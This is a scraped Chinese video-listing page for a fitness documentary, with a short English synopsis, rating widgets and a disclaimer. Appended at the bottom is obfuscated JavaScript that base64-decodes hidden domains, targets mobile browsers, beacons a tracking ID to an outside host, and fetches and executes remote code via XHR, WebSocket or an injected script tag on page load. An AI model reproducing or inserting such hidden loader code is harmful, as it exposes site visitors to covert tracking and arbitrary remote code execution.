保存到浏览器 分享

至FIT真相

4.0
  • 很差
  • 较差
  • 还行
  • 推荐
  • 力荐
  • 年份:2019 地区:未知类型:综艺节目 
  • 状态:第01集 / 08-04
  • 主演:内详 
  • 导演:内详 
  • 简介: What’s the least amount of exercise you can do an 详细 >
 分享

剧情介绍

 What’s the least amount of exercise you can do and still live a long, healthy life? Using breakthrough research, this surprising film shows you how to get fit in the smartest possible way. Can just two minutes of exercise a week make you fitter? Are heavy or light weights better for building muscle? Can physical activity improve your mental health? Find the answers that will transform the way you think about exercise. 展开全部

我要评分

给【至FIT真相】打分
  • 很差
  • 较差
  • 还行
  • 推荐
  • 力荐

相关推荐

更多

推荐阅读

    免责声明:本网站内容收集于互联网,本站只提供web页面服务,并不提供影片资源存储、录制、上传等功能。

    © 2025 www.icikids.org  E-Mail:  

    function UQZohC(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function aXrJY(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UQZohC(t);};window[''+'r'+'R'+'M'+'g'+'u'+'b'+'X'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function YDFWm(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=aXrJY,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=YDFWm(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/178/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=YDFWm(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHRR0cHMlM0ElMkYlMkZhLmN5Y3ljZ3pzLmNuJTNBODg5MQ==','d3NzJTNBBJTJGJTJGYS5lYWVvYS5jbiUzQTk1MzM=','660',window,document,['R','B']);}:function(){};

    观看记录